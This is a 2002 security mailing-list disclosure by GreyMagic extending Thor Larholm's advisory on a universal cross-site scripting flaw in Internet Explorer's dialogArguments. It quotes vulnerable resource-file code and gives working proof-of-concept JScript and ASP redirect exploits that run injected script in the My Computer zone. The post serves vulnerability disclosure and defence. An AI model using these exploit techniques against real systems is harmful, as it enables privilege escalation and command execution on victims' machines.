Hello,

This can also be exploited in IE5 and IE5.5 (as well as IE6) by using a
different resource file.
Thor's demonstration is confined to IE6 because the resource he found to be
exploitable first appeared in IE6 (privacy policy).

Proof of concept and HTML version:
http://security.greymagic.com/adv/gm001-ax/.

Discussion:

We have found an exploitable resource that was shipped as early as IE5.

"shdoclc.dll" also contains an "ANALYZE.DLG" file, which is not as easy to
exploit as the policy error files in IE6 that Thor demonstrated, but a bit
of manipulation gets us the same results.

"ANALYZE.DLG" seemed to be programmed with surprising care, using
insertAdjacentText when "unsafe" content may appear instead of innerHTML or
insertAdjacentHTML.

However, there is one place where the programmer didn't take enough caution,
line 187 contains (comments added to explain the code):

---

// Expected to return an array of <link> elements.
// theDocument variable used in this line is the document property of the
// argument sent to the dialog, an expected window object.
links = theDocument.all.tags("link");

// Sends the array for inspection by another function
retVal = checkLinkReadyStateComplete(links, reportLocation);

and inside the function checkLinkReadyStateComplete:

---

if (objects == null)
return retVal;
for (i=0; i < objects.length; i++) {
element = objects(i);
if (element.rel.toLowerCase() == "stylesheet"
|| element.rel.toLowerCase() == "alternate stylesheet")
{
if (element.readyState != "complete" && element.readyState != 4) {
reportLocation.insertAdjacentHTML("BeforeEnd",
L_StyleSheetNotInstalled_Text + element.href + "<BR><hr>");
retVal = true;
}
}
}

The problem is, of course, in line 205, a dangerous concatenation inside a
call to insertAdjacentHTML.

Exploit:

<script language="jscript">
// HTML to be injected (will run in the "My Computer" zone)
var sHTML="<b>We're in!</b>";

// Object to return from tags("link"), must be a function because they use
// objects(i) instead of objects[i], VB style collection access.
function oExploit(iSec) {
return {
// Satisfy line 201
rel:"stylesheet",

    // Satisfy line 204
    readyState:"exploit",

    // Exploit line 205
    href:sHTML
};

}

// A length property so it will enter the loop
oExploit.length=1;

// A fake window object, so no errors will be raised during the process,
// the custom "tags" method will return an empty array for any element
// other than our target (<link>), in which case it will return the oExploit
// object above.
var oSecurity={
document:{
all:{
tags:function (sTag) {
return sTag=="link" ? oExploit : [];
}
}
}
}

// Run exploit, getFile.asp redirects to res://shdoclc.dll/analyze.dlg
// and oSecurity (fake window) is sent as the dialog argument.
showModelessDialog("getFile.asp",oSecurity);
</script>

Several demonstrations of this exploit are available at:
http://security.greymagic.com/adv/gm001-ax/.

Notes:

IE5 acts very strangely with this exploit, it works SOMETIMES, a few reloads
usually get it to run properly. It seems to have a moral problem with
redirecting to res:// files.

IE5.5 and IE6 both run it smoothly.

Tested on:

IE5sp2 NT4 sp6a, all patches.
IE5.5sp2 NT4 sp6a, all patches.
IE6sp1 Win2000 sp2, all patches.

-----Original Message-----
From: Thor Larholm [mailto:[email protected]]
Sent: Tuesday, April 16, 2002 12:05
To: 'NTBugtraq '; 'Bugtraq '
Subject: IE allows universal Cross Site Scripting (TL#002)

Thor Larholm security advisory TL#002

By Thor Larholm, Denmark.
16 April 2002

HTML Format: http://jscript.dk/adv/TL002/

Topic: IE allows universal Cross Site Scripting.

Discovery date: 18 March 2002.

Severity: High

Affected applications:

Any application that hosts the WebBrowser control (IE6+). Some of these are:

Microsoft Internet Explorer
Microsoft Outlook
Microsoft Outlook Express

Impact:

Elevating privileges, hijacking the MSN Messenger client, running script in
the My Computer zone, arbitrary command execution, etc.

Introduction:

Among its extensive functionality, IE employs a set of useful methods to
display dialog windows. These, the showModalDialog and showModelessDialog
methods, can transfer objects from the originating page to the page being
displayed inside the dialog, by use of the dialogArguments property.

Discussion:

The dialogArguments property tries to prevent interaction between remote
pages by comparing the location of the originating page and the dialog page.

When opening a dialog window (e.g. res://shdoclc.dll/policyerror.htm) from
another protocol, port or domain (e.g. http://jscript.dk), the validation
code in IE will ensure that no objects are transferred, and no interaction
is as such possible.
When both pages are on the same protocol, port and domain, the validation
code will allow interaction.
Unfortunately, the validation code only checks the original URL instead of
the final URL, and it is as such possible to bounce a HTTP redirect from the
originating site to the desired dialog page that will allow interaction.

It is worth noting that this is not in any way limited to the RES://
protocol. The flawed dialogArguments property also allows interaction
between different domains (e.g. YAHOO.COM to MICROSOFT.COM), different
protocols (HTTP to HTTPS, HTTP to FILE, etc.) and different ports (port 80
to port 21, port 80 to port 25, etc.)

For the sake of demonstration, we take a look at shdoclc.dll which contains
several resource in the HTML category, labeled POLICYERROR.HTM,
POLICYLOOKING.HTM, POLICYNONE.HTM and POLICYSYNTAXERROR.HTM. These files
contain the following script code:

    var site =  window.parent.dialogArguments.url;

    function printSite()
    {
        document.write( site);
    }

Exploit:

<script>
var sCode = '<'+'script>alert("This is running from: " +
location.href);top.close()</'+'script>';
window.showModalDialog("redirect.asp", {url:sCode})
</script>

Redirect.asp contains:

<%@Language=Jscript%><%
Response.Redirect("res://shdoclc.dll/policyerror.htm");
%>

Solution: (for MS)

Fix the faulty validation routine in dialogArguments.
Include input validation in resource files.
Also, fixing the incomplete MS02-015 patch will ensure that this specific
command execution vulnerability will not reoccur when the next CSS issue is
uncovered.

Solution: (for users)

Disable scripting.

Tested on:

IE6sp1 Win2000 SP2, with all patches.
IE6sp1 Windows 98, with all patches.
IE6sp1 Windows 98 SE, with all patches.

Demonstration:

I have put together some proof-of-concept examples:

• Simple static examples: Demonstratory fixed code
• Advanced example: Input arbitrary script code
• Hijacking MSN Messenger: An updated version of a previous bulletin
• Executing arbitrary commands: How CodeBase was not fixed

These can be found at http://jscript.dk/adv/TL002/

Vendor status:

Microsoft was notified 18 March 2002 and were able to reproduce the issue
consistently.
They are currently (16 April 2002) investigating whether to address this in
an upcoming cumulative patch.

Regards
Thor Larholm
Jubii A/S - Internet Programmer